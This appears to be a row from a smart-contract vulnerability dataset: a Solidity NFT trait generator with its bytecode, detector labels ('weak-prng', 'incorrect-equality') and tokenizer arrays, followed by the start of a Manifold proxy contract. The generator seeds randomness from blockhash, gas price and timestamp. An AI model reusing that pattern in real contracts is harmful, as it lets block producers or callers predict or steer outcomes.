// SPDX-License-Identifier: MIT pragma solidity 0.8.6; /* BACKGROUNDS 01: "rocknroll" 02: "fibonacci" 03: "clash" 04: "river" 05: "decide" 06: "everlast" 07: "vibe" 08: "motion" 09: "A village" 10: "jump in" 11: "walk" 12: "underwater" 13: "vision" 14: "dreamy" 15: "roundnround" 16: "joanna" 17: "dna1" 18: "yes and no" 19: "love" 20: "wild" 21: "seek" 22: "foundations" 23: "i will not" 24: "feel" 25: "flow" 26: "landing" 27: "japan" 28: "teamwork" 29: "Jelly" 30: "joa1" 31: "joa2" 32: "tiger roar" 33: "shadows" 34: "catch" 35: "passion" 36: "cylces" 37: "poetry" 38: "lucky" 39: "classical" 40: "trust" 41: "circles" 42: "live" 43: "around the world" 44: "now is it" 45: "wants" 46: "h20" 47: "rotations" 48: "lust" 49: "bloom" 50: "desires" 51: "eyes" 52: "dna2" 53: "triple" 54: "virgin" 55: "steal" 56: "spiral" 57: "monaco" 58: "growl33" 59: "bigmac" 60: "loyalty" 61: "jazz" BODIES 01: "film" 02: "juice" 03: "power" 04: "trip" 05: "smooth" 06: "electric" 07: "scarecrow" 08: "boring" 09: "stinna" 10: "whawha" 11: "shimmer" 12: "space" 13: "gold" 14: "rock out" 15: "style" 16: "blueberry" 17: "bronze" 18: "chalk" 19: "positivity" 20: "orange juice" 21: "favorite" 22: "pompom" 23: "fruity" 24: "spacemen" 25: "maroon" 26: "black" 27: "poem" 28: "reckless" 29: "solve" 30: "victory" 31: "launch" 32: "greenboy" 33: "flowers" 34: "spacegirl" 35: "chance" 36: "raspberry" 37: "again" 38: "family" 39: "round about" 40: "goldandblue" 41: "give" 42: "take" 43: "want" 44: "taste" 45: "lebron" 46: "pinnochio" 47: "celtic" 48: "stay" 49: "yellow" 50: "impossible" 51: "goldy " 52: "mission" 53: "blackberry" 54: "gorgy" 55: "gardens" 56: "recent" 57: "loop" 58: "emerald" 59: "teach" 60: "home" 61: "new" 62: "rivers" EARS 01: "ruby" 02: "on" 03: "turquoise" 04: "hotpink" 05: "blueboy" 06: "tight" 07: "squeeze" 08: "send" 09: "trips" 10: "lemonade" 11: "solve it" 12: "balls" 13: "floppy" 14: "relax" 15: "exits" 16: "lust" 17: "Love" 18: "weak" 19: "ask" 20: "jingle" 21: "vox" 22: "dizzy" 23: "black" 24: "sweep" 25: "commit" 26: "harvard" 27: "ucla" 28: "stanford" 29: "boston" 30: "please" 31: "tricks" 32: "treats" 33: "play" 34: "electric" 35: "soul" 36: "heart" 37: "intense" 38: "inject" 39: "eject" 40: "creamy" 41: "drive" 42: "fly" 43: "cruise" 44: "glide" 45: "work" 46: "wonder" 47: "please" 48: "visions" 49: "fantsies" 50: "molasses" VISORS 01: "crush" 02: "rubies" 03: "emeralds" 04: "sapphire" 05: "wings" 06: "midnight" 07: "teeth" 08: "matisse" 09: "chrome" 10: "spaceboy" 11: "roll" 12: "Sirrichard" 13: "pinky" 14: "rush" 15: "onyx" 16: "when" 17: "treat" 18: "marble" 19: "reruns" 20: "tiptoe" 21: "meadow" 22: "modesty" 23: "smooth" 24: "more" 25: "fluff" 26: "lightning" 27: "prince" 28: "windows" 29: "girlz" 30: "dexter" 31: "blossom" 32: "straight" 33: "growling" 34: "chalkboards" */ contract Generator { uint[] public backgroundWeights = [ 0.0161e18, 0.0161e18, 0.008e18, 0.0161e18, 0.0241e18, 0.0161e18, 0.0241e18, 0.008e18, 0.0161e18, 0.008e18, 0.0241e18, 0.0241e18, 0.008e18, 0.0161e18, 0.0241e18, 0.0241e18, 0.0161e18, 0.0161e18, 0.008e18, 0.004e18, 0.0241e18, 0.0241e18, 0.0161e18, 0.008e18, 0.0161e18, 0.0161e18, 0.0241e18, 0.008e18, 0.0161e18, 0.0161e18, 0.0241e18, 0.008e18, 0.008e18, 0.0264e18, 0.0241e18, 0.008e18, 0.0161e18, 0.0241e18, 0.0161e18, 0.0161e18, 0.0161e18, 0.0161e18, 0.0161e18, 0.0161e18, 0.0241e18, 0.0241e18, 0.008e18, 0.0241e18, 0.0241e18, 0.0241e18, 0.0002e18, 0.0161e18, 0.0241e18, 0.004e18, 0.0161e18, 0.0241e18, 0.0161e18, 0.0161e18, 0.0161e18, 0.0002e18, 0.0161e18 ]; uint public backgroundTotalWeight; uint[] public bodiesWeights = [ 0.0074e18, 0.0222e18, 0.0074e18, 0.0222e18, 0.0074e18, 0.0222e18, 0.0074e18, 0.0074e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0074e18, 0.0222e18, 0.0074e18, 0.0148e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0148e18, 0.0222e18, 0.0222e18, 0.0148e18, 0.0148e18, 0.0222e18, 0.0222e18, 0.0037e18, 0.0037e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0037e18, 0.0222e18, 0.0037e18, 0.0074e18, 0.0222e18, 0.0222e18, 0.0222e18, 0.0148e18, 0.0222e18, 0.0148e18, 0.0222e18, 0.0222e18, 0.0037e18, 0.0222e18, 0.0148e18, 0.0148e18, 0.0074e18, 0.0037e18, 0.0074e18, 0.0222e18, 0.0148e18, 0.0222e18, 0.0074e18, 0.0222e18, 0.0074e18, 0.0222e18, 0.0148e18, 0.0074e18, 0.0222e18, 0.0222e18 ]; uint public bodiesTotalWeight; uint[] public earsWeights = [ 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18, 0.02e18 ]; uint public earsTotalWeight; uint[] public visorsWeights = [ 0.0072e18, 0.0072e18, 0.0144e18, 0.0144e18, 0.0072e18, 0.0144e18, 0.0144e18, 0.0144e18, 0.0144e18, 0.0432e18, 0.0432e18, 0.0144e18, 0.0144e18, 0.0432e18, 0.0432e18, 0.0144e18, 0.0144e18, 0.0432e18, 0.0144e18, 0.0432e18, 0.0719e18, 0.0719e18, 0.0072e18, 0.0719e18, 0.0432e18, 0.0144e18, 0.0432e18, 0.0144e18, 0.0432e18, 0.0072e18, 0.0432e18, 0.0432e18, 0.0432e18, 0.0432e18 ]; uint public visorsTotalWeight; uint public constant LAST_NFT = 11111; uint public constant ONE_OF_ONE_COUNT = 25; uint[] public oneOfOne; uint public seedBlock; uint public seed; uint nonce; constructor() { seedBlock = block.number + 10; uint backgroundBuf; for(uint i = 0; i < backgroundWeights.length; i++) { backgroundBuf+= backgroundWeights[i]; } backgroundTotalWeight = backgroundBuf; uint bodiesBuf; for(uint i = 0; i < bodiesWeights.length; i++) { bodiesBuf+= bodiesWeights[i]; } bodiesTotalWeight = bodiesBuf; uint earsBuf; for(uint i = 0; i < earsWeights.length; i++) { earsBuf+= earsWeights[i]; } earsTotalWeight = earsBuf; uint visorsBuf; for(uint i = 0; i < visorsWeights.length; i++) { visorsBuf+= visorsWeights[i]; } visorsTotalWeight = visorsBuf; } function generateOneOfOne() public { require(blockhash(seedBlock) != bytes32(0), "too early or expired"); require(oneOfOne.length == 0, "already generated"); seed = uint(keccak256(abi.encodePacked(blockhash(seedBlock), tx.gasprice, block.timestamp))); for(uint i = 0; i < ONE_OF_ONE_COUNT; i++) { nonce++; uint _random = uint(keccak256(abi.encode(seed, nonce))) % LAST_NFT + 1; //exclude lost NFT if(_random == 6127) { i--; continue; } oneOfOne.push(_random); } // check for duplicates for(uint i = 0; i < ONE_OF_ONE_COUNT; i++) { uint item = oneOfOne[i]; uint count = 0; for(uint j = 0; j < ONE_OF_ONE_COUNT; j++) { if(oneOfOne[j] == item) { count++; } if(count > 1) { //remove all array and try again oneOfOne = new uint[](0); return; } } } } function getNFTData(uint _tokenId) public view returns(uint[] memory res) { res = new uint[](5); for(uint i = 0; i < oneOfOne.length; i++) { if(_tokenId == oneOfOne[i]) { res[4] = i + 1; return res; } } //0 - background //1 - body //2 - ear //3 - visor //4 - oneOfOne res[0] = getRandomBackground(_tokenId) + 1; res[1] = getRandomBody(_tokenId) + 1; res[2] = getRandomEar(_tokenId) + 1; res[3] = getRandomVisor(_tokenId) + 1; res[4] = 0; } function getRandomBackground(uint _tokenId) public view returns(uint) { uint rnd = random(_tokenId, backgroundTotalWeight); for(uint i = 0; i < backgroundWeights.length; i++) { if(rnd < backgroundWeights[i]) { return i; } rnd -= backgroundWeights[i]; } return 0; } function getRandomBody(uint _tokenId) public view returns(uint) { uint rnd = random(_tokenId, bodiesTotalWeight); for(uint i = 0; i < bodiesWeights.length; i++) { if(rnd < bodiesWeights[i]) { return i; } rnd -= bodiesWeights[i]; } return 0; } function getRandomEar(uint _tokenId) public view returns(uint) { uint rnd = random(_tokenId, earsTotalWeight); for(uint i = 0; i < earsWeights.length; i++) { if(rnd < earsWeights[i]) { return i; } rnd -= earsWeights[i]; } return 0; } function getRandomVisor(uint _tokenId) public view returns(uint) { uint rnd = random(_tokenId, visorsTotalWeight); for(uint i = 0; i < visorsWeights.length; i++) { if(rnd < visorsWeights[i]) { return i; } rnd -= visorsWeights[i]; } return 0; } function random(uint _tokenId, uint _maximum) public view returns (uint) { return uint(keccak256(abi.encode(seed, _tokenId))) % _maximum; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637e29bc3c116100ad578063b57527fe11610071578063b57527fe14610228578063be5af4611461023b578063cfa9cd241461024e578063cfafffd014610257578063ecc02d5c1461026a57600080fd5b80637e29bc3c146101e6578063a12aab06146101ef578063a9dd122514610202578063aa96a38b14610215578063b388a4631461021e57600080fd5b80634b0ab818116100f45780634b0ab8181461019c57806356f7e73a146101af57806376e84e57146101c25780637ceeae0f146101ca5780637d94792a146101dd57600080fd5b806307aa3010146101315780630ad4c4f4146101575780633386b53f1461017757806337168bfd1461018057806342bb20e614610189575b600080fd5b61014461013f366004610996565b610273565b6040519081526020015b60405180910390f35b61016a610165366004610996565b610294565b60405161014e91906109d1565b61014460075481565b61014460015481565b610144610197366004610996565b61041e565b6101446101aa366004610996565b6104af565b6101446101bd366004610996565b610536565b610144601981565b6101446101d8366004610996565b6105bd565b610144600a5481565b61014460055481565b6101446101fd366004610996565b6105cd565b6101446102103660046109af565b610654565b610144612b6781565b61022661069f565b005b610144610236366004610996565b610906565b610144610249366004610996565b610916565b61014460035481565b610144610265366004610996565b610926565b61014460095481565b6008818154811061028357600080fd5b600091825260209091200154905081565b60408051600580825260c082019092526060916020820160a08036833701905050905060005b60085481101561032b57600881815481106102d7576102d7610aae565b9060005260206000200154831415610319576102f4816001610a15565b8260048151811061030757610307610aae565b60200260200101818152505050919050565b8061032381610a5b565b9150506102ba565b506103358261041e565b610340906001610a15565b8160008151811061035357610353610aae565b602002602001018181525050610368826105cd565b610373906001610a15565b8160018151811061038657610386610aae565b60200260200101818152505061039b82610536565b6103a6906001610a15565b816002815181106103b9576103b9610aae565b6020026020010181815250506103ce826104af565b6103d9906001610a15565b816003815181106103ec576103ec610aae565b60200260200101818152505060008160048151811061040d5761040d610aae565b602002602001018181525050919050565b60008061042d83600154610654565b905060005b6000548110156104a5576000818154811061044f5761044f610aae565b9060005260206000200154821015610468579392505050565b6000818154811061047b5761047b610aae565b9060005260206000200154826104919190610a2d565b91508061049d81610a5b565b915050610432565b5060009392505050565b6000806104be83600754610654565b905060005b6006548110156104a557600681815481106104e0576104e0610aae565b90600052602060002001548210156104f9579392505050565b6006818154811061050c5761050c610aae565b9060005260206000200154826105229190610a2d565b91508061052e81610a5b565b9150506104c3565b60008061054583600554610654565b905060005b6004548110156104a5576004818154811061056757610567610aae565b9060005260206000200154821015610580579392505050565b6004818154811061059357610593610aae565b9060005260206000200154826105a99190610a2d565b9150806105b581610a5b565b91505061054a565b6002818154811061028357600080fd5b6000806105dc83600354610654565b905060005b6002548110156104a557600281815481106105fe576105fe610aae565b9060005260206000200154821015610617579392505050565b6002818154811061062a5761062a610aae565b9060005260206000200154826106409190610a2d565b91508061064c81610a5b565b9150506105e1565b600081600a5484604051602001610675929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c6106989190610a76565b9392505050565b600954406106eb5760405162461bcd60e51b81526020600482015260146024820152731d1bdbc819585c9b1e481bdc88195e1c1a5c995960621b60448201526064015b60405180910390fd5b6008541561072f5760405162461bcd60e51b8152602060048201526011602482015270185b1c9958591e4819d95b995c985d1959607a1b60448201526064016106e2565b60095460408051914060208301523a9082015242606082015260800160408051601f198184030181529190528051602090910120600a5560005b601981101561083f57600b805490600061078283610a5b565b91905055506000612b67600a54600b546040516020016107ac929190918252602082015260400190565b6040516020818303038152906040528051906020012060001c6107cf9190610a76565b6107da906001610a15565b9050806117ef14156107f957816107f081610a44565b9250505061082d565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee301555b8061083781610a5b565b915050610769565b5060005b60198110156109035760006008828154811061086157610861610aae565b906000526020600020015490506000805b60198110156108ed57826008828154811061088f5761088f610aae565b906000526020600020015414156108ae57816108aa81610a5b565b9250505b60018211156108db5760408051600081526020810191829052516108d491600891610936565b5050505050565b806108e581610a5b565b915050610872565b50505080806108fb90610a5b565b915050610843565b50565b6004818154811061028357600080fd5b6000818154811061028357600080fd5b6006818154811061028357600080fd5b828054828255906000526020600020908101928215610971579160200282015b82811115610971578251825591602001919060010190610956565b5061097d929150610981565b5090565b5b8082111561097d5760008155600101610982565b6000602082840312156109a857600080fd5b5035919050565b600080604083850312156109c257600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b81811015610a09578351835292840192918401916001016109ed565b50909695505050505050565b60008219821115610a2857610a28610a98565b500190565b600082821015610a3f57610a3f610a98565b500390565b600081610a5357610a53610a98565b506000190190565b6000600019821415610a6f57610a6f610a98565b5060010190565b600082610a9357634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea26469706673582212205c0aaf8246e92467d49cd1fc13bc773840da11f063c38575e2081cd2367a28ce64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 28311, 26337, 5243, 2063, 2629, 11329, 2683, 9468, 2546, 2683, 27531, 2581, 11387, 17914, 2692, 2050, 2629, 2546, 27814, 2094, 23833, 20952, 26337, 19841, 2094, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 1013, 1008, 15406, 5890, 1024, 1000, 2600, 16118, 14511, 1000, 6185, 1024, 1000, 10882, 11735, 6305, 6895, 1000, 6021, 1024, 1000, 13249, 1000, 5840, 1024, 1000, 2314, 1000, 5709, 1024, 1000, 5630, 1000, 5757, 1024, 1000, 2412, 8523, 2102, 1000, 5718, 1024, 1000, 21209, 1000, 5511, 1024, 1000, 4367, 1000, 5641, 1024, 1000, 1037, 2352, 1000, 2184, 1024, 1000, 5376, 1999, 1000, 2340, 1024, 1000, 3328, 1000, 2260, 1024, 1000, 11564, 1000, 2410, 1024, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,661
0x95800309f5124ca5e8b5b3593f65fb868339e7fa
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Justvibin Works /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////// // // //////////////////////////////////////////////////////////////////////////////////////////////////// // // //////////////////////////////////////////////////////////////////////////////////////////////////// // // ///////////////////////////////////////J U S T V I B I N//////////////////////////////////////////// // // //////////////////////////////////////////////////////////////////////////////////////////////////// // // //////////////////////////////////////&&&&&&@@@@@@@@@@@@@/////////////////////////////////////////// // // //////////////////////////////////////&/&//&@@@@@@@@@@@@@/////////////////////////////////////////// // // //////////////////////////////////////&&&&&&@@@@@@@@@@@@@/////////////////////////////////////////// // // /////////////////////////&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@///////////////////////// // // /////////////////////////&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@///////////////////////// // // /////////////////////////&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@///////////////////////// // // //////////////////////@@/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@///////////////////////// // // /////////////////////////&&&&&&&&&&&&& * && * & @@&@%&& & * &&@@#/@@///////////////////////// // // /////////////////////////@@@@@@@@@@@@@ * &&& @@&@%&& &&&&& * &&@@#/@@///////////////////////// // // /////////////////////////@@@@@@@@@@@@@&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&@@@@@@///////////////////////// // // /////////////////////////@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///////////////////////// // // /////////////////////////@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@///////////////////////// // // /////////////////////////@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#/@@///////////////////////// // // /////////////////////////@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#/@@///////////////////////// // // /////////////////////////@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#/@@///////////////////////// // // ///////////////////@@@@@@[email protected]@@@@@ [email protected]@@@@@@@@//////////////////////////// // // /////////////////////(@@@[email protected]@@@@@@[email protected]@@@@@(@((@@@@//////////////////////////// // // /////////////////////////[email protected]@@@[email protected]@@@@@.......#@@@@@@@@@@@@@@//////////////////////////// // // /////////////////////(@@@[email protected]@@@[email protected]@@@@@@@@@@@@//////////////////////////// // // ///////////////////@@@@@@[email protected]@@@@@@@@//////////////////////////// // // /////////////////////////@@@#[email protected]@@@@@@......(((@@@@@@@@@///////////////////////// // // //////////////////////@@/@@@([email protected]@@@@@@......(((@@@@@@//////////////////////////// // // /////////////////////////@@@([email protected]@@@@@@......(((@@@/////////////////////////////// // // /////////////////////////@@@(.........((((((((((((((((((((((((((((@@@@@@//////////////////////////// // // /////////////////////////@@@(.........((((((((((((((((((((((((((((@@@@@@@@@///////////////////////// // // //////////////////////@@@(((((((((((((((((((((((((@@@@@@@((((((((#((((((@@@///////////////////////// // // //////////////////////@@@((((((((((((((#((#((((@@(@@@@@@@(@@(((((((#((((@@@///////////////////////// // // //////////////////////@@@((((((((((((((####(((((((@@@@@@@((((((((#((#(((@@@///////////////////////// // // //////////////////////@@@(((((((((((((((##(((((((((((((((((((((((((#((((@@@///////////////////////// // // //////////////////////@@@((((((((((((((((((((((((((((((((((((((((#((#(((@@@///////////////////////// // // /////////////////////////@@@@@@@......(((((((((((((((((((((((((((((((@@@@@@///////////////////////// // // /////////////////////////@@@@[email protected]@[email protected]@@@(((((((((((((((((((((((((((((((@@@@@@///////////////////////// // // /////////////////////////@@@@[email protected]#@@@@@(((((((((((((((((((((((((((((((@@@@@@///////////////////////// // // /////////////////////////@@@@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/////////////////////////////// // // /////////////////////////@[email protected]@[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/////////////////////////////// // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract JVBN is ERC721Creator { constructor() ERC721Creator("Justvibin Works", "JVBN") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev 